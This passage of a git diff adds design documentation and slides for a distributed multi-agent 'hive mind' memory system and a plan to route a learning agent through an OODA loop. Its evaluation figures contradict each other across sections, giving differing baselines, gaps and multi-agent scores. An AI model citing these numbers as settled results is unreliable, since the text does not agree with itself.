merge strategy. The broken routing variant was worse at 34.9% median with massive 31.2% standard deviation -- the root hive was empty because facts only went to group hives, so queries fell back to random agents. The single DistributedHiveGraph (no federation tree) scored 47.2%. Semantic+OODA integration scored 45.8% with 21.7% stddev. The current gap between the best multi-agent result (53.3%) and the latest single-agent score (93.1%) is 39.8 points. On the positive side, the scale engineering works: 100 agents create in 12.3 seconds using 4.8GB RSS (previously this was an OOM crash with InMemoryHiveGraph), and learning is 9x faster with 10 parallel workers using DistributedHiveGraph. + +--- + +## Slide 18: Hive Mind -- Behaviors and Skills + +### Hive Mind -- Behaviors and Skills + +**Fact Lifecycle:** +- **Promote:** Agent extracts fact -> quality gate -> store in local shard -> replicate via DHT +- **Contradict:** Jaccard overlap > 0.4 + same concept = potential contradiction +- **Confirm:** CONFIRMED_BY edges boost fact score in hybrid reranking +- **Retract:** Fact status set to "retracted", CRDT ORSet propagates removal +- **Decay:** Confidence decays over time via TTL (configurable decay rate) +- **GC:** Garbage collection removes expired facts + +**Agent Trust:** +- Each agent has a trust score (0.0 - 2.0, default 1.0) +- Trust propagated via LWW (Last-Writer-Wins) CRDT registers +- Source trust contributes 20% of hybrid reranking score + +**Quality Gate:** +- `score_content_quality(fact, context)` filters low-quality facts before promotion +- Configurable threshold (default from `DEFAULT_QUALITY_THRESHOLD`) + +**Query Expansion:** +- Optional synonym and related-term expansion before search +- `expand_query(query)` adds terms to improve recall + +--- + +**Speaker Notes:** +The hive mind supports a full fact lifecycle. Facts enter through promotion -- the agent extracts a fact, it passes a quality gate, gets stored locally, and replicates via the DHT. Contradictions are detected using Jaccard word overlap: if two facts share the same concept and have more than 40% word overlap with different content, they are flagged. Confirmations are tracked via CONFIRMED_BY edges, which boost the fact's score during retrieval. Retraction propagates through the CRDT ORSet. Confidence decays over time through configurable TTL decay. Agent trust scores range from 0 to 2, tracked by LWW registers, and contribute 20% of the hybrid reranking score. The quality gate prevents low-quality facts from entering the hive. Query expansion optionally adds synonyms to improve recall. + +--- + +## Slide 19: Hive Mind -- Orchestration and Coordination + +### Hive Mind -- Orchestration and Coordination + +**Final Eval Results:** + +| Metric | Score | +|--------|-------| +| Single agent | **93.9%** | +| Distributed 100-agent (range) | **71–79%** | +| Distributed 100-agent (avg) | **75%** | +| Score progression (0 → final) | **0% → 79%** | + +**CLI: `amplihack-hive`** +- `create` -- generate hive config with N agents +- `add-agent` -- add specialized agent with custom prompt +- `start` -- launch all agents (local subprocess or Azure) +- `status` -- check agent health and fact counts +- `stop` -- graceful shutdown + +**Azure deployment (westus2 / hive-mind-rg):** + +| Resource | Name / Purpose | +|----------|----------------| +| Azure Container Registry | `hivacrhivemind.azurecr.io` — agent Docker images | +| Azure Service Bus | `hive-sb-dj2qo2w7vu5zi`, topic `hive-graph`, 100 subscriptions | +| Container Apps Environment | Managed container runtime | +| Container Apps | `amplihive-app-0`…`amplihive-app-19` (20 apps × 5 agents = 100 agents) | +| Volume type | Ephemeral (`EmptyDir`) — POSIX lock compatible, Kuzu works in containers | +| Memory backend | `cognitive` (Kuzu) — identical to local development | + +**Transports:** + +| Transport | Latency | Scale | +|-----------|---------|-------| +| `local` | Microseconds | 1 machine | +| `redis` | <1ms | 10s of agents | +| `azure_service_bus` | 10-100ms | 100s of agents, multi-region | + +**Coordination mechanisms:** +- DHT consistent hashing for fact placement +- Bloom filter gossip for convergence +- CRDT merge for consistency (ORSet + LWW) +- Federation tree for hierarchical organization +- RRF merge for multi-source result fusion + +--- + +**Speaker Notes:** +Orchestration is managed through the amplihack-hive CLI. You create a hive config specifying the number of agents, add specialized agents with custom prompts, and start them locally or deploy to Azure. For Azure, we provision Container Registry for images, Service Bus for event transport, Azure Files for persistent Kuzu databases, and Container Apps for managed compute. Each Container App hosts up to 5 agent containers. We support three transports: local (microsecond latency, single machine), Redis (sub-millisecond, tens of agents), and Azure Service Bus (10-100ms, hundreds of agents across regions). Coordination uses five mechanisms: DHT for fact placement, bloom filter gossip for convergence, CRDTs for consistency, federation trees for hierarchy, and RRF merge for combining results from multiple sources. + +--- + +## Slide 20: Next Steps / Future Work + +### Next Steps / Future Work + +**Closing the 24.77-point gap (65.7% -> 90.47%):** + +1. **Fix root hive routing** -- Facts go to group hives but queries hit empty root. Route queries to groups directly or ensure facts escalate properly +2. **Fix swallowed errors** -- `_synthesize_with_llm()` catches all exceptions silently, masking rate limits as "internal error" +3. **Reduce variance** -- Broken routing caused 31.2% stddev from random agent selection. Deterministic routing should bring stddev below 10% +4. **OODA loop unification** -- Merge LearningAgent and GoalSeekingAgent so memory integrates at every OODA phase (observe, orient, decide, act) +5. **Semantic routing** -- Route queries to agents whose domain matches, not random agents. Domain-matched children get 3x query limit +6. **Cross-group replication** -- High-confidence facts (>= 0.9) broadcast across all groups automatically + +**Scale targets:** +- 1000+ agents with DistributedHiveGraph +- Azure multi-region deployment +- Sub-second federated query latency + +**Research directions:** +- Active learning -- agents identify and fill knowledge gaps collaboratively +- Contradiction resolution via multi-agent debate +- Hierarchical specialization -- auto-assign domains based on learned content + +--- + +**Speaker Notes:** +The 28.4-point gap between our best multi-agent result and the single-agent baseline is the primary focus. Three bugs account for most of it: empty root hive routing, swallowed errors masking rate limits, and high variance from random agent selection. Fixing these is engineering, not research. Beyond bug fixes, the OODA loop unification will integrate memory at every reasoning phase. Semantic routing will direct queries to domain-expert agents instead of random ones. Cross-group replication ensures high-confidence facts propagate everywhere. For scale, we are targeting 1000+ agents, multi-region Azure deployment, and sub-second federated queries. On the research side, we want agents to actively identify and fill knowledge gaps, resolve contradictions through debate, and auto-specialize based on what they learn. The architecture supports all of this -- the gaps are in the wiring, not the foundation. + +--- + +*Generated from the amplihack distributed hive mind codebase. All data points from actual evaluation runs.* diff --git a/docs/index.md b/docs/index.md index 7a41a990f..38d6fa210 100644 --- a/docs/index.md +++ b/docs/index.md @@ -496,6 +496,29 @@ python -m amplihack.memory.kuzu.query_code_graph functions --file - [External Knowledge Integration](external_knowledge_integration.md) - Import external data sources +### Distributed Hive Mind ⭐ NEW + +Multi-agent distributed memory system enabling agents to share knowledge across a gossip-based graph network. + +- [Overview](distributed_hive_mind.md) - Architecture overview and design goals +- [Architecture](hive_mind/ARCHITECTURE.md) - Technical architecture: DHT shards, CRDT gossip, event bus +- [Design](hive_mind/DESIGN.md) - Design decisions, data model, and trade-offs +- [Getting Started](hive_mind/GETTING_STARTED.md) - Deploy a local hive mind in minutes +- [Tutorial](hive_mind/TUTORIAL.md) - Step-by-step guide to building distributed agents +- [Evaluation](hive_mind/EVAL.md) - Benchmarks, eval scenarios, and performance results +- [Presentation](hive_mind_presentation.md) - High-level slides and demo walkthrough +- [Prompt-to-Hive Tutorial](tutorial_prompt_to_distributed_hive.md) - End-to-end walkthrough from prompt to deployed hive + +**Key Features**: + +- **DHT-based sharding**: Consistent-hash ring distributes facts across agent shards +- **CRDT gossip**: Bloom-filter gossip protocol for eventual consistency without conflicts +- **Azure Service Bus transport**: Cross-process event bus for production deployments +- **NetworkGraphStore**: Pluggable transport layer wrapping any local GraphStore +- **Kuzu-backed shards**: Each shard uses Kuzu embedded graph for POSIX-safe persistent storage + +--- + ### Blarify Code Indexing Complete code indexing and analysis with multi-language support: diff --git a/docs/memory_ooda_integration.md b/docs/memory_ooda_integration.md new file mode 100644 index 000000000..fed5f409b --- /dev/null +++ b/docs/memory_ooda_integration.md @@ -0,0 +1,728 @@ +# Memory + OODA Loop Integration Design + +**Status:** Design / Investigation +**Branch:** feat/distributed-hive-mind +**Date:** 2026-03-06 + +--- + +## Table of Contents + +1. [Current State Map](#1-current-state-map) +2. [The Problem: LearningAgent Bypasses the OODA Loop](#2-the-problem) +3. [Corrected OODA Loop with Memory at Every Phase](#3-corrected-ooda-loop) +4. [Unification Design: Merging LearningAgent and GoalSeekingAgent](#4-unification-design) +5. [Eval Compatibility](#5-eval-compatibility) +6. [Implementation Plan](#6-implementation-plan) + +--- + +## 1. Current State Map + +### 1.1 File Inventory + +| File | Role | +|------|------| +| `agents/goal_seeking/agentic_loop.py` | `AgenticLoop` — PERCEIVE→REASON→ACT→LEARN loop (mostly dead code) | +| `agents/goal_seeking/learning_agent.py` | `LearningAgent` — the agent actually used by the eval harness | +| `agents/goal_seeking/sdk_adapters/base.py` | `GoalSeekingAgent` — abstract base for all SDK agents | +| `agents/goal_seeking/sdk_adapters/claude_sdk.py` | `ClaudeGoalSeekingAgent` — concrete Claude Agent SDK implementation | +| `memory/facade.py` | `Memory` — new high-level `remember()`/`recall()` facade | +| `memory/config.py` | `MemoryConfig` — config resolution for the Memory facade | + +### 1.2 Full Call Graph + +The following diagram traces every call path from `GoalSeekingAgent` down to memory operations. + +```mermaid +graph TD + subgraph eval_path["Eval Harness Path (learn + answer)"] + E1["eval: agent.learn_from_content(content)"] + E2["eval: agent.answer_question(question)"] + end + + subgraph gsa["GoalSeekingAgent (base.py)"] + GSA_learn["learn_from_content(content)"] + GSA_answer["answer_question(question, mode)"] + GSA_run["run(task) → _run_sdk_agent()"] + GSA_tool_learn["_tool_learn(content)"] + GSA_get_la["_get_learning_agent() [cached]"] + end + + subgraph la["LearningAgent (learning_agent.py)"] + LA_learn["learn_from_content(content)"] + LA_temporal["_detect_temporal_metadata() [LLM]"] + LA_extract["_extract_facts_with_llm() [LLM]"] + LA_store_fact["memory.store_fact() × N"] + LA_summary["_store_summary_concept_map() [LLM]"] + LA_answer["answer_question(question)"] + LA_intent["_detect_intent() [LLM]"] + LA_simple["_simple_retrieval()"] + LA_entity["_entity_retrieval()"] + LA_aggr["_aggregation_retrieval()"] + LA_synth["_synthesize_with_llm() [LLM]"] + LA_qanda["memory.store_fact() [Q&A pair]"] + LA_agentic["answer_question_agentic()"] + LA_loop_UNUSED["self.loop (AgenticLoop)\n[NEVER CALLED]"] + end + + subgraph loop["AgenticLoop (agentic_loop.py)"] + AL_perceive["perceive(obs, goal)\n→ memory.search()"] + AL_reason["reason(perception)\n→ LLM [litellm]"] + AL_act["act(decision)\n→ action_executor.execute()"] + AL_learn["learn(perception, reasoning, action, outcome)\n→ memory.store_fact()"] + AL_run_iter["run_iteration(goal, obs)"] + AL_run_goal["run_until_goal(goal, obs, check_fn)"] + AL_reason_iter["reason_iteratively(question, memory, intent)"] + AL_plan["_plan_retrieval() [LLM]"] + AL_eval["_evaluate_sufficiency() [LLM]"] + AL_refine["_refine_retrieval() [LLM]"] + AL_search["_targeted_search(query, memory)"] + end + + subgraph mem_backends["Memory Backends"] + MR["MemoryRetriever\n(kuzu graph)"] + CA["CognitiveAdapter\n(6-type memory)"] + FRA["FlatRetrieverAdapter\n(HierarchicalMemory)"] + MF["Memory facade\n(remember/recall)"] + end + + E1 --> GSA_learn + E2 --> GSA_answer + + GSA_learn --> GSA_tool_learn + GSA_tool_learn --> GSA_get_la + GSA_get_la --> LA_learn + + GSA_answer --> GSA_get_la + GSA_get_la --> LA_answer + GSA_answer -->|"mode=agentic"| LA_agentic + + LA_learn --> LA_temporal + LA_learn --> LA_extract + LA_learn --> LA_store_fact + LA_learn --> LA_summary + LA_store_fact --> MR + LA_store_fact --> CA + LA_summary --> LA_store_fact + + LA_answer --> LA_intent + LA_answer --> LA_simple + LA_answer --> LA_entity + LA_answer --> LA_aggr + LA_answer --> LA_synth + LA_answer --> LA_qanda + + LA_simple --> CA + LA_entity --> CA + LA_aggr --> CA + LA_qanda --> CA + + LA_agentic --> LA_answer + + LA_loop_UNUSED -.->|"DEAD PATH"| AL_run_iter + + AL_run_iter --> AL_perceive + AL_run_iter --> AL_reason + AL_run_iter --> AL_act + AL_run_iter --> AL_learn + AL_run_goal --> AL_run_iter + + AL_reason_iter --> AL_plan + AL_reason_iter --> AL_search + AL_reason_iter --> AL_eval + AL_reason_iter --> AL_refine + + AL_perceive --> MR + AL_learn --> MR + AL_search --> CA + + MF --> CA + MF --> MR +``` + +### 1.3 Where LearningAgent Diverges from AgenticLoop + +`LearningAgent.__init__` creates `self.loop = AgenticLoop(...)` at line 175. However, **no method of `LearningAgent` ever calls `self.loop`**. The divergence is complete: + +| Operation | What `LearningAgent` actually does | What `AgenticLoop` would do | +|-----------|-----------------------------------|----------------------------| +| Learn content | `_extract_facts_with_llm()` + `memory.store_fact()` directly | `perceive()` → `reason()` → `act(read_content)` → `learn()` | +| Answer question | `_detect_intent()` → retrieval → `_synthesize_with_llm()` | `perceive()` → `reason()` → `act(search_memory+synthesize)` → `learn()` | +| Memory recall | `memory.search()` / `memory.get_all_facts()` directly | `memory_retriever.search()` via `perceive()` | +| Memory store | `memory.store_fact()` directly | `memory_retriever.store_fact()` via `learn()` | + +**Why `self.loop` is never invoked:** +`LearningAgent` was optimized for eval performance: a direct intent→retrieve→synthesize pipeline with no action-executor dispatch overhead. The `AgenticLoop` was designed for a general multi-step goal-seeking pattern but was never wired into the eval-facing entry points. + +--- + +## 2. The Problem + +### 2.1 The Bypass + +`LearningAgent.learn_from_content()` and `LearningAgent.answer_question()` use a **simplified two-phase pipeline**: + +``` +learn_from_content: content → LLM(extract facts) → memory.store_fact() +answer_question: question → LLM(detect intent) → memory.search() → LLM(synthesize) +``` + +The `AgenticLoop` (PERCEIVE→REASON→ACT→LEARN) is instantiated but dead: + +```python +# LearningAgent.__init__ — line 175 +self.loop = AgenticLoop(...) # created but never called + +# learn_from_content() — bypasses self.loop entirely +facts = self._extract_facts_with_llm(content) # direct LLM call +self.memory.store_fact(...) # direct memory write + +# answer_question() — bypasses self.loop entirely +intent = self._detect_intent(question) # direct LLM call +facts = self._simple_retrieval(question) # direct memory read +answer = self._synthesize_with_llm(question, ...) # direct LLM call +``` + +### 2.2 Consequences + +1. **Prompt changes to AgenticLoop have zero effect** on eval scores, because AgenticLoop is never called during eval. +2. **Memory is write-only during learning** — `learn_from_content()` stores facts but never reads memory to check what it already knows. Duplicate facts accumulate. +3. **Memory is read-but-not-updated during answering** — `answer_question()` reads memory and produces an answer but the new synthesis is only stored as a Q&A echo fact, not integrated back into the knowledge graph in a structured way. +4. **The OODA loop's `learn()` phase is skipped** — outcomes (action results) are never stored back with context and reasoning, so the agent cannot improve its strategies over time. +5. **The eval tests a pipeline that is NOT the agent's core architecture** — the eval harness calls `learn_from_content()` and `answer_question()`, which bypass the OODA loop entirely. + +### 2.3 Evidence from Code + +```python +# agentic_loop.py:353 — run_iteration exists and is correct +def run_iteration(self, goal: str, observation: str) -> LoopState: + perception = self.perceive(observation, goal) # reads memory + action_decision = self.reason(perception) # LLM decides + outcome = self.act(action_decision) # executes action + learning = self.learn(perception, reasoning, action, outcome) # writes memory + return LoopState(...) + +# learning_agent.py:231 — learn_from_content never calls self.loop +def learn_from_content(self, content: str) -> dict: + temporal_meta = self._detect_temporal_metadata(content) # LLM + facts = self._extract_facts_with_llm(content, temporal_meta) # LLM + for fact in facts: + self.memory.store_fact(...) # direct write, no OODA + # self.loop is never referenced + +# learning_agent.py:467 — answer_question never calls self.loop +def answer_question(self, question: str, ...) -> str: + intent = self._detect_intent(question) # LLM + relevant_facts = self._simple_retrieval(...) # direct read + answer = self._synthesize_with_llm(...) # LLM + self.memory.store_fact(...) # direct write + # self.loop is never referenced +``` + +--- + +## 3. Corrected OODA Loop with Memory at Every Phase + +The OODA loop (Observe-Orient-Decide-Act) maps cleanly onto agent cognition when memory is woven into each phase. + +### 3.1 OODA Loop Design + +``` +OBSERVE: + - Perceive input (content, question, or environment state) + - remember(observation) ← store what we just saw + - recall(observation context) ← what do we already know about this? + +ORIENT: + - recall(similar past situations) ← what happened before in similar contexts? + - recall(relevant domain knowledge) ← what facts/procedures apply? + - Assess: compare observation against recalled knowledge + - Form updated world model + +DECIDE: + - Plan action informed by observation + orientation + recalled memory + - This is where the LLM reasons with FULL context (current + recalled) + - Output: action choice + parameters + reasoning trace + +ACT: + - Execute chosen action + - remember(action + context + outcome) ← store what we did and what happened + - Feed outcome back to OBSERVE for next iteration +``` + +### 3.2 Proposed OODA Loop with Memory + +```mermaid +flowchart TD + INPUT["Input\n(content / question / environment state)"] + + subgraph OBSERVE["OBSERVE"] + O1["Perceive: parse input\nclassify type (learn / answer / act)"] + O2["remember(observation)\n→ Memory.remember(input)"] + O3["recall(observation context)\n← Memory.recall(input context)"] + end + + subgraph ORIENT["ORIENT"] + OI1["recall(similar past situations)\n← Memory.recall(situation keywords)"] + OI2["recall(relevant domain knowledge)\n← Memory.recall(domain topics)"] + OI3["Assess: compare observation\nagainst recalled knowledge\nForm updated world model"] + end + + subgraph DECIDE["DECIDE"] + D1["LLM reasons with full context:\n- current observation\n- recalled situations\n- recalled facts\n→ plan action + parameters"] + end + + subgraph ACT["ACT"] + A1["Execute chosen action\n(extract_facts / synthesize / calculate / etc.)"] + A2["remember(action + context + outcome)\n→ Memory.remember(outcome, context=situation)"] + end + + LOOP["Loop back to OBSERVE\nwith action outcome as new observation"] + + INPUT --> OBSERVE + O1 --> O2 + O2 --> O3 + OBSERVE --> ORIENT + OI1 --> OI2 + OI2 --> OI3 + ORIENT --> DECIDE + DECIDE --> ACT + A1 --> A2 + ACT --> LOOP + LOOP --> OBSERVE + + style OBSERVE fill:#e8f4fd,stroke:#2196F3 + style ORIENT fill:#e8f5e9,stroke:#4CAF50 + style DECIDE fill:#fff9c4,stroke:#FFC107 + style ACT fill:#fce4ec,stroke:#E91E63 +``` + +### 3.3 Memory Integration per Phase + +#### OBSERVE Phase + +```python +def observe(self, input_text: str) -> ObservationResult: + # 1. Perceive the raw input + obs_type = self._classify_input(input_text) # "learn", "answer", "act" + + # 2. remember(observation) — store what we just saw + self.memory.remember( + f"OBSERVATION: {input_text[:500]}", + context=f"input_type:{obs_type}" + ) + + # 3. recall(observation context) — what do we already know? + prior_knowledge = self.memory.recall(input_text[:200]) + + return ObservationResult( + input=input_text, + obs_type=obs_type, + prior_knowledge=prior_knowledge + ) +``` + +#### ORIENT Phase + +```python +def orient(self, obs: ObservationResult) -> OrientationResult: + # 1. recall(similar past situations) + past_situations = self.memory.recall( + f"situation: {obs.input[:100]}" + ) + + # 2. recall(relevant domain knowledge) + domain_knowledge = self.memory.recall( + obs.input[:200] # recall with question/topic as query + ) + + # 3. Assess: compare observation against recalled knowledge + world_model = { + "current_observation": obs.input, + "prior_knowledge": obs.prior_knowledge, + "past_situations": past_situations, + "domain_knowledge": domain_knowledge, + } + + return OrientationResult(world_model=world_model) +``` + +#### DECIDE Phase + +```python +def decide(self, obs: ObservationResult, orient: OrientationResult) -> ActionDecision: + # LLM reasons with FULL context: current + recalled memory + context = self._format_context(obs, orient) + + decision = self.llm.complete( + system="You are a goal-seeking agent. Use observation and recalled memory to decide.", + user=context + "\nWhat action should I take?" + ) + + return ActionDecision( + action=decision["action"], + params=decision["params"], + reasoning=decision["reasoning"] + ) +``` + +#### ACT Phase + +```python +def act(self, obs: ObservationResult, decision: ActionDecision) -> ActionOutcome: + # Execute the chosen action + outcome = self.action_executor.execute(decision.action, **decision.params) + + # remember(action + context + outcome) — critical for learning + self.memory.remember( + f"ACTION: {decision.action} → OUTCOME: {str(outcome)[:300]}", + context=f"situation:{obs.input[:100]} reasoning:{decision.reasoning[:100]}" + ) + + return ActionOutcome( + outcome=outcome, + next_observation=f"Action {decision.action} resulted in: {outcome}" + ) +``` + +--- + +## 4. Unification Design + +### 4.1 Core Principle + +**`GoalSeekingAgent` IS the agent. `LearningAgent` should become its internal pipeline, unified under the OODA loop.** The separation between them is a historical artifact, not an architectural necessity. + +### 4.2 Unified Architecture + +```mermaid +graph TD + subgraph unified["UnifiedGoalSeekingAgent"] + memory_facade["Memory facade\n(remember / recall)\nwraps CognitiveAdapter / DistributedHive"] + + subgraph ooda["OODA Loop (AgenticLoop, corrected)"] + observe["observe(input)\n→ memory.remember(obs)\n← memory.recall(obs_ctx)"] + orient["orient(obs)\n← memory.recall(situations)\n← memory.recall(domain)"] + decide["decide(obs, orient)\n→ LLM with full context"] + act["act(obs, decision)\n→ execute action\n→ memory.remember(outcome)"] + end + + subgraph actions["Action Registry"] + learn_action["learn_content_action\n→ _extract_facts_with_llm()\n→ memory.remember(facts)"] + answer_action["answer_question_action\n→ _synthesize_with_llm()\n→ memory.remember(Q&A)"] + search_action["search_memory_action\n← memory.recall(query)"] + calc_action["calculate_action\n→ arithmetic"] + end + end + + eval["Eval harness"] + eval -->|"learn_from_content(content)"| observe + eval -->|"answer_question(question)"| observe + + observe --> orient + orient --> decide + decide --> act + act --> observe + + act --> learn_action + act --> answer_action + act --> search_action + act --> calc_action + + learn_action --> memory_facade + answer_action --> memory_facade + search_action --> memory_facade + observe --> memory_facade + orient --> memory_facade + act --> memory_facade +``` + +### 4.3 Mapping Operations to OODA Iterations + +#### `learn_from_content(content)` = One OODA Iteration + +``` +OBSERVE: input_type = "learn_content" + memory.remember(content[:200]) # store what we saw + prior = memory.recall(content[:100]) # do we already know this? + +ORIENT: similar_learnings = memory.recall("learned content " + content[:50]) + Assess: if prior has high overlap → mark as duplicate/update + +DECIDE: LLM: "extract facts from this content, given prior knowledge" + → action = "extract_and_store_facts" + +ACT: _extract_facts_with_llm(content) + for fact in facts: + memory.remember(fact, context="learned_content") + memory.remember("Learned: " + summary, context="episode") + → no next OODA iteration needed (goal: store knowledge) +``` + +#### `answer_question(question)` = One OODA Iteration + +``` +OBSERVE: input_type = "answer_question" + memory.remember(question) # store the question + prior_answers = memory.recall(question) # have we answered this before? + +ORIENT: domain_facts = memory.recall(question) # what do we know? + past_answers = memory.recall("answered: " + question[:50]) + Assess: do we have enough to answer confidently? + +DECIDE: LLM: "synthesize answer using recalled facts" + → action = "synthesize_answer" + +ACT: _synthesize_with_llm(question, domain_facts) + memory.remember("Q: " + question + " A: " + answer, context="q_and_a") + → return answer (no loop-back needed) +``` + +#### `run_until_goal(goal)` = Multiple OODA Iterations + +``` +Iteration 1: + OBSERVE: "Goal: {goal}. Status: starting." + ORIENT: recall relevant past goals/strategies + DECIDE: plan first action (e.g., "search_memory for context") + ACT: execute → memory.remember(outcome) + +Iteration 2: + OBSERVE: "Previous action: {action} → {outcome}" + ORIENT: recall updated context + new facts from outcome + DECIDE: plan next action (e.g., "synthesize_partial_answer") + ACT: execute → memory.remember(outcome) + ... +Until: is_goal_achieved(state) == True OR max_iterations +``` + +### 4.4 Interface Compatibility + +The unified agent exposes the same external interface as today: + +```python +class UnifiedGoalSeekingAgent: + # Same interface as LearningAgent + GoalSeekingAgent combined + + def learn_from_content(self, content: str) -> dict: + """One OODA iteration: OBSERVE content → remember → ORIENT → DECIDE facts → ACT store""" + return self._run_ooda_iteration(input=content, input_type="learn") + + def answer_question(self, question: str, question_level: str = "L1") -> str: + """One OODA iteration: OBSERVE question → recall → ORIENT → DECIDE answer → ACT return""" + result = self._run_ooda_iteration(input=question, input_type="answer") + return result["answer"] + + async def run(self, task: str, max_turns: int = 10) -> AgentResult: + """Multi-step OODA loop until goal achieved or max_turns""" + states = self.loop.run_until_goal(goal=task, initial_observation=task) + return AgentResult(response=states[-1].outcome, goal_achieved=True) +``` + +--- + +## 5. Eval Compatibility + +### 5.1 Current Eval Interface + +The eval harness calls exactly these methods: + +```python +# From eval harness (simplified) +agent = LearningAgent(agent_name="eval_agent") + +# Learning phase +for article in articles: + agent.learn_from_content(article) + +# Evaluation phase +for question in questions: + answer = agent.answer_question(question, question_level="L1") + score = evaluate(answer, expected) +``` + +### 5.2 Compatibility Under Unification + +The unified agent preserves the same signatures. The eval harness requires **zero changes**: + +```python +# Eval harness — no changes needed +agent = UnifiedGoalSeekingAgent(agent_name="eval_agent") +# OR (backward compat alias) +agent = LearningAgent(agent_name="eval_agent") + +# Same calls — internally use OODA loop now +agent.learn_from_content(article) # → one OODA iteration +agent.answer_question(question, "L1") # → one OODA iteration +``` + +### 5.3 What Changes Under the Hood + +| Aspect | Current (bypass) | Unified (OODA) | +|--------|-----------------|---------------| +| `learn_from_content()` | Direct LLM + store | OBSERVE(remember) → ORIENT(recall) → DECIDE → ACT(store) | +| `answer_question()` | Direct LLM + retrieve | OBSERVE(recall) → ORIENT(recall deeper) → DECIDE → ACT(synthesize) | +| Duplicate fact detection | None — duplicates accumulate | ORIENT checks prior knowledge before storing | +| Strategy improvement | None — no outcome feedback | ACT stores outcome → recalled in future ORIENTs | +| Prompt changes work | No — loop never called | Yes — all reasoning goes through DECIDE | +| Eval score | Baseline (97.8% reported) | Expected stable or improved (no info loss) | + +### 5.4 Eval Trace Compatibility + +The `ReasoningTrace` dataclass is preserved. The unified OODA loop emits equivalent trace data: + +```python +ReasoningTrace( + question=question, + intent={"intent": "simple_recall"}, # same as before + steps=[ + ReasoningStep(step_type="observe", ...), # new: maps to OBSERVE + ReasoningStep(step_type="orient", ...), # new: maps to ORIENT + ReasoningStep(step_type="decide", ...), # new: maps to DECIDE + ReasoningStep(step_type="act", ...), # new: maps to ACT + ], + total_facts_collected=N, + used_simple_path=False, # always False — OODA always runs +) +``` + +--- + +## 6. Implementation Plan + +### 6.1 Phase 1: Wire Memory Facade into AgenticLoop (Low Risk) + +**Files:** `agents/goal_seeking/agentic_loop.py`, `memory/facade.py` + +1. Add `Memory` facade import to `AgenticLoop.__init__` +2. Replace `memory_retriever.search()` in `perceive()` with `memory.recall()` +3. Replace `memory_retriever.store_fact()` in `learn()` with `memory.remember()` +4. Add `memory.remember(observation)` call at start of `perceive()` — **this is the key OBSERVE+remember step** +5. Add `memory.recall(observation)` call for prior knowledge in `perceive()` — **this is the OBSERVE+recall step** + +**Complexity:** Low. AgenticLoop already has the right structure; this is plumbing changes only. +**Risk:** None — AgenticLoop is not called by any production path yet. + +### 6.2 Phase 2: Add ORIENT Memory Recalls to AgenticLoop (Low Risk) + +**Files:** `agents/goal_seeking/agentic_loop.py` + +6. Split `perceive()` into `observe()` + `orient()` to match OODA nomenclature +7. In `orient()`: `memory.recall(similar_past_situations)` — search for similar past inputs +8. In `orient()`: `memory.recall(relevant_domain_knowledge)` — search for related facts +9. Build combined world model: `{observation, prior_knowledge, past_situations, domain_facts}` +10. Pass full world model to `reason()` so LLM has complete context + +**Complexity:** Medium. Requires careful prompt engineering in `reason()` to use the richer context without hallucinating. +**Risk:** Medium — changing `reason()` prompt could affect quality. + +### 6.3 Phase 3: Wire LearningAgent.learn_from_content() Through OODA (Medium Risk) + +**Files:** `agents/goal_seeking/learning_agent.py` + +11. Add OBSERVE step at start of `learn_from_content()`: `self.loop.observe(content)` +12. Keep existing `_extract_facts_with_llm()` as the "ACT: extract_and_store_facts" action +13. Add `self.loop.learn()` call after extraction to record the episode in memory with proper context +14. Add duplicate detection in ORIENT: check `memory.recall(content[:100])` before extraction + +**Complexity:** Medium. Existing extraction logic is complex; must not regress eval scores. +**Risk:** Medium — any regression in fact extraction quality will lower eval scores. + +### 6.4 Phase 4: Wire LearningAgent.answer_question() Through OODA (Medium Risk) + +**Files:** `agents/goal_seeking/learning_agent.py` + +15. Add OBSERVE step: `self.loop.observe(question)` +16. Replace `_simple_retrieval()` / `_entity_retrieval()` with `self.loop.orient()` calls that use `memory.recall()` +17. Move intent detection into ORIENT phase (it is assessing the situation) +18. Keep `_synthesize_with_llm()` as the "ACT: synthesize_answer" action +19. Add `self.loop.learn()` call after synthesis to store outcome with reasoning + +**Complexity:** High. The retrieval logic is the most performance-sensitive part of the pipeline. +**Risk:** High — any change here risks eval score regression. Must run full eval suite before merging. + +### 6.5 Phase 5: Unify GoalSeekingAgent.run() with OODA (Low Risk, Independent) + +**Files:** `agents/goal_seeking/sdk_adapters/base.py` + +20. In `GoalSeekingAgent.run()`, replace direct `_run_sdk_agent()` call with `self.loop.run_until_goal()` +21. Map SDK tool calls (learn_from_content, search_memory, etc.) as named actions in the loop +22. This path is only used for multi-turn agentic tasks, not the eval pipeline + +**Complexity:** Medium. The SDK agent loop is separate from the eval path. +**Risk:** Low for eval (this path is not tested by eval harness). + +### 6.6 Phase 6: Remove Dead Code (Cleanup) + +**Files:** `agents/goal_seeking/learning_agent.py` + +23. After phases 3-4 are complete and stable, remove the `self.loop` dead-code comment +24. Ensure `AgenticLoop` is the only reasoning path, not a parallel shadow +25. Update all docstrings to reflect OODA structure + +**Complexity:** Low. +**Risk:** None — pure cleanup. + +### 6.7 Summary Table + +| Phase | Files Changed | Complexity | Risk | Eval Impact | +|-------|-------------|------------|------|-------------| +| 1: Wire Memory into AgenticLoop | agentic_loop.py | Low | None | None (not called by eval) | +| 2: ORIENT recalls in AgenticLoop | agentic_loop.py | Medium | Low | None | +| 3: learn_from_content via OODA | learning_agent.py | Medium | Medium | Possible improvement | +| 4: answer_question via OODA | learning_agent.py | High | High | Must validate | +| 5: GoalSeekingAgent.run() via OODA | base.py | Medium | Low | None | +| 6: Remove dead code | learning_agent.py | Low | None | None | + +### 6.8 Recommended Order + +**Start with Phase 1 and 2** — zero risk, builds confidence in the new loop structure. + +**Before Phase 4**, run the full eval suite on a canary to establish baseline. Gate merge on no regression. + +**Phases 3 and 4** should be done in separate PRs with full eval runs between them. + +--- + +## Appendix: Memory Facade API + +The new `Memory` facade (added in commit `0ed27334`) provides the clean interface the OODA loop needs: + +```python +from amplihack.memory import Memory + +mem = Memory("my-agent") # topology: single (default) or distributed +mem.remember("The sky is blue") # store observation/fact/outcome +facts = mem.recall("sky colour") # retrieve relevant memories +mem.close() +``` + +This maps directly onto the OODA phases: +- `remember()` → OBSERVE phase (store observation) + ACT phase (store outcome) +- `recall()` → OBSERVE phase (check prior knowledge) + ORIENT phase (retrieve situation + domain facts) + +The facade abstracts over `CognitiveAdapter` (6-type memory), `HierarchicalMemory`, and distributed hive topologies — the OODA loop does not need to know which backend is active. + +--- + +--- + +## Appendix: Transport Topology + +The `Memory` facade selects transport at construction time via config-driven topology. The transport determines how agents share knowledge: + +| Transport | OODA Integration | Scale | Latency | 